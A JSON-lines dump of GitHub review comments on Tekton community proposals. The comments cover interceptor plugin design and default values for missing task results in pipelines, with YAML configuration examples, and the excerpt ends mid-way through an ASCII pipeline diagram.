+{"author": "bobcatfish", "body": "> The proposal suggests one interceptor deployment per cluster.\r\n\r\nThe proposal would allow for more than one interceptor if you wanted tho, right? e.g. you could have many CEL interceptors, each with a separate `InterceptorConfiguration` if you wanted?", "comment_id": 512200830, "created_at": "2020-10-26T19:03:46Z", "line": 163, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "in the long run it probably makes sense to have some kind of ID (EventID?) that gets passed through to each interceptor and can be used to piece together a complete picture of what happened for a particular event.\r\n\r\nit might make sense to one day investigate (probably not as part of this TEP!) what we'd need to require from interceptors to support integrating them with a distributed tracing system (e.g. https://zipkin.io/)", "comment_id": 512201525, "created_at": "2020-10-26T19:05:00Z", "line": 169, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "@wlynch how do we use the GRPC status codes in a JSON body? Should the code be status.FAILED_PRECONDITION, or the HTTP equivalent code from the proto?", "comment_id": 512209726, "created_at": "2020-10-26T19:19:45Z", "line": null, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "@savitaashture @bigkevmcd added an optional `caBundle` field here for TLS cert verification.", "comment_id": 512210239, "created_at": "2020-10-26T19:20:45Z", "line": 326, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "gabemontero", "body": "Those field clarifications help me - thanks @dibyom \r\n\r\nSome additional brainstorming prior to the WG call ... we'll see what if anything sticks:\r\n- would a timestamp in the TriggerContext help with debug ?\r\n- would including a TriggerContext ref in the interceptor response potentially allow for some debugging help \r\n-- assist correlating of req / response\r\n-- possibly facilitate access to the trigger CRD and its conditions to see if disruptions occurred during the processing of the interceptor request", "comment_id": 512211525, "created_at": "2020-10-26T19:23:09Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "just a note that i think this might be different in https://github.com/tektoncd/community/pull/218 already", "comment_id": 512212891, "created_at": "2020-10-26T19:25:24Z", "line": 234, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "might be worth linking to something with more details of what `grpc.Status` contains - what's involved for interceptor authors to create this?", "comment_id": 512213175, "created_at": "2020-10-26T19:25:53Z", "line": 239, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "im a bit confused about the mix of json and protobuf, could you explain a bit more?", "comment_id": 512213444, "created_at": "2020-10-26T19:26:22Z", "line": null, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "yes, that is true. The plan for the current \"built-in\" interceptors is to package them with the Triggers installation by default. So when you install Triggers, you also install the CEL interceptor by default. Operators/Platform distributors can customize this by removing the Interceptor yamls that they do not want to support. ", "comment_id": 512230356, "created_at": "2020-10-26T19:56:31Z", "line": 151, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "in theory yes, you can run multiple CEL services and have multiple InterceptorConfiguration CRs to point to them. ", "comment_id": 512231620, "created_at": "2020-10-26T19:58:59Z", "line": 163, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "we are already passing the EventID as part of each request. Are you suggesting a per Interceptor id of some sort?\r\n\r\n\r\n(AdmissionWebhooks also have some interesting features for metircs/tracing: https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#monitoring-admission-webhooks)", "comment_id": 512233243, "created_at": "2020-10-26T20:01:56Z", "line": 169, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "ahh, that is the result of copy paste from the AdmissionReview type \ud83d\ude1b ", "comment_id": 512233683, "created_at": "2020-10-26T20:02:46Z", "line": null, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "updated to mention that this is true until beta. As part of beta, we can deprecate the old sytnax.", "comment_id": 512241490, "created_at": "2020-10-26T20:17:31Z", "line": null, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "I don't know enough about it - I'd guess that EventID would do the trick?\r\n\r\nAnyway this is definitely a segue/scope creep XD", "comment_id": 513724805, "created_at": "2020-10-28T20:01:28Z", "line": 169, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "ah okay, so we'd support both syntaxes, but underneath, we'd be using the new separately running CEL interceptor?\r\n\r\nMakes sense to me!", "comment_id": 513725801, "created_at": "2020-10-28T20:03:20Z", "line": 151, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "yeah, I expect there will be a few follow up TEPs (like this) after this.", "comment_id": 514387221, "created_at": "2020-10-29T16:15:43Z", "line": 169, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "Per last WG discussion, all of these sound like useful additions but they do not have to be added in the initial implementation (i.e. can be part of a follow up)", "comment_id": 516787223, "created_at": "2020-11-03T16:14:51Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "From last week's WG -- no strong objections to either syntax. @gabemontero mentioned that having an `optional` name might make patching array objects (like the `interceptors` field) easier in Kustomize.", "comment_id": 516794640, "created_at": "2020-11-03T16:25:16Z", "line": 375, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "gabemontero", "body": "with that @dibyom could these be listed in the non-goals or alternatives sections (or maybe we should propose a new \"follow up\" section to the TEP template ;-) ) so we don't lose track of them?\r\n\r\nUltimately, I could see MVP line items as github kind/features targeted to specific milestones , and follow up items as github kind/features left in the backlog (vs. added to a milestone) that could then go through the github lifecycle machinery already in place.\r\n\r\nThoughts?", "comment_id": 516794727, "created_at": "2020-11-03T16:25:22Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "gabemontero", "body": "For the uber details on that, I think https://kubernetes.io/docs/tasks/manage-kubernetes-objects/update-api-object-kubectl-patch/#notes-on-the-strategic-merge-patch is the relevant docs link\r\n\r\nSome cliff notes along with that text:\r\n- list == array\r\n- from what I've been told by those more in tuned with this level of k8s nuance, if the `patchMergeKey` is not explicitly specifed, `name` is the default field it uses .... hence my suggestion", "comment_id": 516798827, "created_at": "2020-11-03T16:30:59Z", "line": 375, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "Good idea. I'll add a WorkPlan section; follow up issues/PRs will be linked to https://github.com/tektoncd/triggers/issues/271", "comment_id": 516806068, "created_at": "2020-11-03T16:41:19Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "gabemontero", "body": "cool thanks ", "comment_id": 516807479, "created_at": "2020-11-03T16:43:33Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "Thanks for the links! It sounds like if we add an optional `name` field to type/params syntax, it should also achieve the same merging behavior. Also looking at the proposal in https://github.com/tektoncd/pipeline/issues/3435, `class` might be another alternative to `type` (I think Ingress also uses `class` for a similar purpose).\r\n\r\n\r\n```\r\n- name: \"filter-branch-name\"\r\n class: CEL\r\n params: \r\n - name: \"filter\"\r\n value: \"some-cel-expr\"\r\n```\r\n\r\n```\r\n- name: \"filter-branch-name\"\r\n type: CEL\r\n params: \r\n - name: \"filter\"\r\n value: \"some-cel-expr\"\r\n```\r\n\r\n```\r\n- name: \"filter-branch-name\"\r\n interceptorRef: \r\n name: \"cel\"\r\n params: \r\n - name: \"filter\"\r\n value: \"some-cel-expr\"\r\n```\r\n\r\nThose are the options. The interceptorRef one is a bit more verbose but I think that's fine. ", "comment_id": 516813972, "created_at": "2020-11-03T16:52:30Z", "line": 375, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "Going with the last option for now!", "comment_id": 519963178, "created_at": "2020-11-09T16:51:21Z", "line": 375, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "https://developers.google.com/maps-booking/reference/grpc-api/status_codes", "comment_id": 519998746, "created_at": "2020-11-09T17:42:01Z", "line": null, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "Discussed with Billy. We will have two fields of type map[string]interface{} i.e. key has to be a string, value is a JSON object\r\n\r\nExtensions - fields added by interceptors in the chain.\r\n\r\nInterceptor params - per interceptor fields from the trigger e.g. filter expression for CEL, secretRef for GitHub etc.", "comment_id": 520000531, "created_at": "2020-11-09T17:44:47Z", "line": 234, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "Added links to https://google.aip.dev/193", "comment_id": 520000717, "created_at": "2020-11-09T17:45:06Z", "line": 239, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "Added a Work Plan section.", "comment_id": 520001387, "created_at": "2020-11-09T17:46:10Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "1. could we call this something like `default` instead of `value`? I would think that `value` would override the result created by the Task, but it sounds like what we want is to use this _only_ in the case where the Task fails or is skipped (or does not produce a result?)\r\n2. \"or does not produce a result?\" --> if the Task succeeds but does not produce a result, is this default used? (I suggest in the first iteration we don't support that)", "comment_id": 512104186, "created_at": "2020-10-26T16:39:39Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "another alternative would be to move the \"default\" specification into the \"params\" section in the pipelineTask instead, e.g.:\r\n\r\n```yaml\r\nspec:\r\n params:\r\n - name: owner-name\r\n default: \"the-best-owner\"\r\n tasks:\r\n - name: boskos-acquire\r\n taskRef:\r\n name: boskos-acquire\r\n params:\r\n - name: owner-name\r\n value: $(params.owner-name)\r\n - name: do-stuff-with-resource\r\n taskRef:\r\n name: do-stuff-with-resource\r\n params:\r\n - name: resource-name\r\n value: $(tasks.boskos-acquire.results.leased-resource)\r\n finally:\r\n - name: boskos-release\r\n taskRef:\r\n name: boskos-release\r\n params:\r\n - name: leased-resource\r\n value: $(tasks.boskos-acquire.results.leased-resource)\r\n default: \"fake-awesome-project\"\r\n```\r\n\r\nif we wanted to make this work for when expressions, we'd need some way of expressing defaults in when expressions as well which is the big downside of this approach\r\n\r\none upside of this approach tho is that it lets the consumer of the value decide what to do with it vs. having the producer understand that the consumer still wants to run", "comment_id": 512106194, "created_at": "2020-10-26T16:42:32Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "another alternative would be to provide/require a completely different way of accessing results for the use cases above\r\n\r\ni.e. if you want to look at a result value, and you want to run regardless of the state of the producing task (i.e. even if failed, skipped, etc.), we provide another way to provide this info, e.g.:\r\n\r\n1. write a file to disk with the status of the entire pipelinerun\r\n2. provide variable replacement for the entire pipelinerun status\r\n\r\ni think that providing something like (1) might be a reasonable alternative here; i have a feeling that the tasks that we want to create for the use case above might be more complex than just the boskos example we are including", "comment_id": 512109213, "created_at": "2020-10-26T16:46:46Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\nA(guarded)(continueAfterSkip=true) -> B(guarded with task results from A) -> C\r\n```\r\nto say continue executing task `B`, the `continueAfterSkip` should be set to true in guarded task `A`", "comment_id": 512115614, "created_at": "2020-10-26T16:52:22Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "another alternative would be to provide/require a completely different way of accessing results for the use cases above\r\n\r\ni.e. if you want to look at a result value, and you want to run regardless of the state of the producing task (i.e. even if failed, skipped, etc.), we provide another way to provide this info, e.g.:\r\n\r\n1. write a file to disk with the status of the entire pipelinerun\r\n2. provide variable replacement for the entire pipelinerun status\r\n\r\ni think that providing something like (1) might be a reasonable alternative here; i have a feeling that the tasks that we want to create for the use case above might be more complex than just the boskos example we are including", "comment_id": 512126644, "created_at": "2020-10-26T17:06:32Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "@chhsia0 also mentioned another interesting option in the working group today which i think it worth exploring: introducing a syntax for the variable replacement that allows a default to be specified, e.g.:\r\n\r\n`$(tasks.boskos-acquire.results.leased-resource | fake-awesome-project)`\r\n\r\nI really like that this option would let us both:\r\n1. Let the consumer of the value decide how to handle the case where it is not provided\r\n2. Work for when expressions AND params\r\n\r\nHowever if we go that route i think we'd also want to take into account #1393 i.e. what would this syntax look like in a world where we have more types than just strings and can do stuff like array indexing", "comment_id": 512128199, "created_at": "2020-10-26T17:08:54Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "GregDritschler", "body": "I also liked the idea of expressing a default value in the variable substitution syntax itself, especially if it looks somewhat similar to Bash syntax, e.g. `$(tasks.boskos-acquire.results.leased-resource:-fake-awesome-project}`. This is a well-known feature of shell scripting so people would just \"get it\" without a lot of explanation required. I guess the downside is that you need to specify the default on every reference as opposed to having a single place where you could set it as in Priti's proposal.", "comment_id": 512139265, "created_at": "2020-10-26T17:24:52Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "GregDritschler", "body": "What would be the reason to not allow the default result value to be used with a required parameter? The pipeline author might be trying to reuse a task that does not have a default for a param value. It seems to me like the pipeline author should be able to pass the default result value anyway.", "comment_id": 512144347, "created_at": "2020-10-26T17:32:28Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "afrittoli", "body": "NIT: this section does not exists", "comment_id": 526732581, "created_at": "2020-11-19T09:57:33Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "afrittoli", "body": "Since `continueAfterSkip` is not a feature of Tekton yet, perhaps we need a reference here?", "comment_id": 527073012, "created_at": "2020-11-19T17:35:31Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "afrittoli", "body": "NIT: Perhaps add a short title / alt text before each reference?", "comment_id": 527073562, "created_at": "2020-11-19T17:36:23Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "afrittoli", "body": "I'm not sure I understand this \ud83d\ude4f ", "comment_id": 527074797, "created_at": "2020-11-19T17:38:20Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "afrittoli", "body": "I feel the goal could be more generic about default value for results, and `finally` and `continueAfterSkip` could go into use cases? Even more so since `continueAfterSkip` is not a feature we support yet.", "comment_id": 527075723, "created_at": "2020-11-19T17:39:39Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "afrittoli", "body": "I'm not sure that we can affirm that in general they should not be fatal, it probably depends on a case by case.\r\nAs I understand this work is about allowing authors to make missing task results not fatal if they decide to.\r\n\r\nPerhaps a slightly different phrasing could be:\r\n\r\n> Missing tasks results do not have to be fatal. Give pipeline authors the option to build pipelines that continue executing when a task result is missing.", "comment_id": 527079204, "created_at": "2020-11-19T17:45:00Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "afrittoli", "body": "+1 \r\nI agree the default value here should be controlled by the pipeline author and not by the task author", "comment_id": 527084519, "created_at": "2020-11-19T17:53:05Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "afrittoli", "body": "I think it would be best to clarify that this last sentence now refers to defaults set in the task definition.\r\nPossible alternate phrasing, something like this:\r\n\r\n> At the `Task` level, parameters can be declared as optional. The `Task` author may provide a default values for optional parameters. The `Pipeline` author must populate every every parameter that is not declared as optional in the `Task`. ", "comment_id": 527087707, "created_at": "2020-11-19T17:58:03Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "afrittoli", "body": "I'm afraid I don't understand the reasoning behind this.\r\nIf a parameter is declared as optional in the `Task`, by definition it is acceptable not to pass any value to it.\r\n\r\nOptional parameters are those least in need of a default, because if the expression injected by the pipeline depends on something not available (like a result), the pipeline could simply not pass any value, and it would work, because it's optional.\r\n\r\nMandatory parameters instead cause a Task failure if not passed. If the pipeline author binds a mandatory task parameter to a result from another task, we need a way for the pipeline author to supply a default value (if they want) in case the result in question is not available.", "comment_id": 527091033, "created_at": "2020-11-19T18:03:13Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "afrittoli", "body": "I'm afraid I don't understand the reason behind this restriction.\r\n\r\nIt should be up to the pipeline author whether to specify the default or not.\r\nAssuming the pipeline about, you could have the following combinations:\r\n\r\nx param type | result default | multiply execution\r\n--------------|--------------|-------------------\r\nmandatory | supplied | executed\r\nmandatory | not supplied | skipped\r\noptional | supplied | executed\r\noptional | not supplied | executed\r\n", "comment_id": 527094559, "created_at": "2020-11-19T18:08:53Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "afrittoli", "body": "Pipeline that builds a container image and deploys it.\r\nThe pipeline accepts an image reference parameter. \r\nThe first task looks up in the registry if the reference exists.\r\nThe second task builds the container images. It is guarded via `when` and only runs if the first task reports that the image is missing. \r\nThe third task takes the image reference from a result of the second task and deploys the container.\r\nThe pipeline authors sets a the default value for the image reference of the be it's own image reference input param, so that if task2 is skipped, task3 can deploy the image that was passed to the pipeline by the pipelinerun.\r\n\r\n```\r\nkind: Pipeline\r\nspec:\r\n params:\r\n - name: targetImage\r\n description: the image to deploy (and build if missing)\r\n tasks:\r\n - name: lookup-image\r\n taskRef:\r\n name: search-image\r\n params:\r\n - name: imageRef\r\n value: \"$(params.targetImage)\"\r\n - name: build-image\r\n when:\r\n - input: \"$(tasks.lookup-image.results.found)\"\r\n operator: in\r\n values: [\"False\"]\r\n taskRef:\r\n name: build-image\r\n params:\r\n - name: imageRef\r\n value: \"$(params.targetImage)\"\r\n - name: deploy-image\r\n taskRef:\r\n name: deploy-image\r\n params:\r\n - name: imageRef\r\n value: \"$(tasks.build-image.results.builtImage)\"\r\n default: \"$(params.targetImage)\"\r\n```", "comment_id": 527103740, "created_at": "2020-11-19T18:23:14Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "jmcshane", "body": "Pipeline that scans code and packages within a container image.\r\nThe pipeline fails if the scan does not pass a certain threshold\r\nThe task still collects and publishes results even if the scan task fails by outputting the scan summary to a result `string`\r\nA finally task would consume the task result on success and failure and publish that information to an external consumer for review.", "comment_id": 550483413, "created_at": "2020-12-31T13:28:26Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "thanks @jerop fixed.", "comment_id": 562930721, "created_at": "2021-01-22T21:43:00Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "> 1.\r\n\r\nyup sure, lets call it `default` instead of `value`. Yes use this default value when a task does not produce a result. \r\n\r\n> 2. \r\n\r\nWe have an issue to declare such task (does not produce a result) failure: https://github.com/tektoncd/pipeline/issues/3497. This fix will prevent executing any other dag tasks and no need for any defaults. But finally tasks are still executed and you suggest not using default in finally as well? ", "comment_id": 562937983, "created_at": "2021-01-22T21:59:43Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "> another alternative would be to move the \"default\" specification into the \"params\" section in the pipelineTask instead\r\n\r\nYup, this can also allow specifying separate defaults for each reference, but downside with `when expressions` is significant as well. How would we allow having defaults with `when expressions` then? \r\n\r\n\r\n", "comment_id": 562946655, "created_at": "2021-01-22T22:22:34Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "(1) is being tracked [here](https://github.com/tektoncd/pipeline/issues/1020) I think we still have a use case for that feature and will have a separate TEP for it.\r\n\r\nBut in this context, (1) again adds extra responsibility of parsing metadata to consumer task and does not work with `when` expressions.", "comment_id": 562951783, "created_at": "2021-01-22T22:32:40Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "It was adhering to the same concept of required v/s optional params. Dropped this limitation. ", "comment_id": 562952698, "created_at": "2021-01-22T22:35:25Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "fixed", "comment_id": 562953179, "created_at": "2021-01-22T22:36:40Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "sure, added a link to TEP PR \ud83d\udc4d ", "comment_id": 562953355, "created_at": "2021-01-22T22:37:03Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "\ud83d\ude04 done", "comment_id": 562953523, "created_at": "2021-01-22T22:37:19Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "thanks for suggestion, rephrased \ud83d\ude4f ", "comment_id": 562954036, "created_at": "2021-01-22T22:38:23Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "thanks for suggestion, done \ud83d\ude4f ", "comment_id": 562954530, "created_at": "2021-01-22T22:39:48Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "thank you for sample use case, have included in the TEP", "comment_id": 562961057, "created_at": "2021-01-22T22:58:34Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "thank you for the suggestion, have included as one of alternatives", "comment_id": 562961952, "created_at": "2021-01-22T23:01:06Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "> Optional parameters are those least in need of a default, because if the expression injected by the pipeline depends on something not available (like a result), the pipeline could simply not pass any value, and it would work, because it's optional.\r\n\r\nOptional param at the task level referring to task result in a `Pipeline` is considered as `required` i.e. if a task result is not initiated, pipeline stops executing even if a referenced param was optional at the task level.\r\n\r\n", "comment_id": 562965418, "created_at": "2021-01-22T23:12:11Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "afrittoli", "body": "I liked the proposed options. But also defaulting on the producer and consumer side do not have to be orthogonal. \r\nDefaulting a result would be an helper for task author to ensure a result is always provided, that the author has enough context in the task to be able to do that meaningfully.\r\nDefaulting a variable value would be a helper the task author (or runner) to provide a default value for situations where the pipeline / pipelinerun context is required to provide a meaningful default.\r\nBoth could be implemented as separate features. ", "comment_id": 567885941, "created_at": "2021-02-01T14:55:13Z", "line": null, "path": "teps/0028-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "vdemeester", "body": "I am not sure I understand this one \ud83e\udd14 ", "comment_id": 570952190, "created_at": "2021-02-05T13:02:37Z", "line": null, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "vdemeester", "body": "Can we add more detail on why it's not compatible ? I'm not sure I understand \ud83d\ude1d ", "comment_id": 570953273, "created_at": "2021-02-05T13:04:50Z", "line": null, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "vdemeester", "body": "What happens if `add-task` define a result name `sum` and what happens if `add-task` doesn't define a result name `sum` ? ", "comment_id": 570954430, "created_at": "2021-02-05T13:06:55Z", "line": null, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "i think there's some detail missing here - it seems like if the resources weren't acquired, you don't want to do the cleanup?", "comment_id": 578760893, "created_at": "2021-02-18T21:35:26Z", "line": null, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "the example ALMOST makes sense to me but a couple things i think might be missing:\r\n\r\n- The name of the image returned by build-image seems like it would be targetImage? If so it doesnt seem like deploy-image actually cares about the result of build-image, this seems more like a case for wanting to apply the when expression to only build-image\r\n\r\nI also don't totally understand the context of this use case - why do we want to build an image only if it doesn't exist? (is the image getting periodically deleted? or is it like built once a day and named after the day?) any more details you can provide might help", "comment_id": 578763241, "created_at": "2021-02-18T21:39:26Z", "line": null, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "i think using `value` here doesn't quite imply the defaulting behavior we're adding - maybe `default` ?", "comment_id": 578764408, "created_at": "2021-02-18T21:41:38Z", "line": null, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "i dont understand why that is, can you explain more?", "comment_id": 578765392, "created_at": "2021-02-18T21:43:26Z", "line": null, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "could you include an example?", "comment_id": 578765538, "created_at": "2021-02-18T21:43:44Z", "line": null, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "is this the current functionality?", "comment_id": 578765702, "created_at": "2021-02-18T21:44:01Z", "line": null, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "i dont totally follow this one, maybe an example would help?", "comment_id": 578766053, "created_at": "2021-02-18T21:44:41Z", "line": null, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "Another proposal that came up (I'm not sure where?? i feel like @chhsia0 was involved but not sure) is to introduce a defaulting syntax when using the variable interpolation for results, e.g. something like:\r\n\r\n`$(tasks.foo.results.bar?somedefault)` (or maybe instead of somedefault we require reference to another var?)\r\n\r\nI might be kinda crazy but i actually like this option b/c it puts the control completely on the consuming PipelineTask (like option b) but also works for when expressions\r\n\r\nif we go this route hopefully we could borrow the syntax from somewhere else", "comment_id": 578768297, "created_at": "2021-02-18T21:48:41Z", "line": 284, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "can we include pros and cons for the proposed option? (seems like we have them for the alternatives)", "comment_id": 578768565, "created_at": "2021-02-18T21:49:09Z", "line": null, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "jromero", "body": "I have a user story that seems to apply to this TEP as I'm hoping it would enable the flow I desire.\r\n\r\nI have a [pipeline](https://github.com/tektoncd/catalog/pull/656/files#diff-e9b46827b6bc00546a0c42f2ccab58c09d213e236f75571fd628c68f52045064) that conditionally forks between two different tasks. Both of the tasks provide a result of `APP_IMAGE_DIGEST`. Now within my pipeline I'd like to propagate that result as the result of the pipeline.\r\n\r\nCurrently, I can't find a way to achieve what I'm desiring. The proposed solution should allow me to execute a consolidation task on the pipeline that can check to see which task results are present and set those as the Pipeline results. Is my thinking correct?\r\n\r\n```\r\n Pipeline\r\n \u2502\r\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\r\n \u2502 \u2502 \u2502\r\n \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\r\n \u2502 \u2502 \u2502 \u2502\r\n \u2502 \u2502 git-clone \u2502 \u2502\r\n \u2502 \u2502 \u2502 \u2502\r\n \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\r\n \u2502 \u2502 \u2502\r\n \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\r\n \u2502 \u2502 (condition) \u2502 \u2502\r\n \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\r\n \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\r\n \u2502 \u2502 buildpacks \u2502 \u2502 buildpacks-phases \u2502 \u2502\r\n \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\r\n \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\r\n \u2502 \u2502 \u2502 \u2502\r\n \u2502 